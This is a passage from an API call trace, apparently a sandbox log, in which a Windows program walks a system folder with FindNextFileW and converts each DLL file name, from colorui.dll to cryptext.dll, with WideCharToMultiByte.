lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.764] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.764] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.764] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.764] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.764] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.764] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.764] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.765] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.765] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.765] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.765] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x90c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0041.765] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.765] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="console.dll", cAlternateFileName="")) returned 1 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.765] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.765] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0041.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x90c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0041.766] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.766] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.766] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.766] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.766] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x90c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0041.766] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.766] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.766] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.767] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, 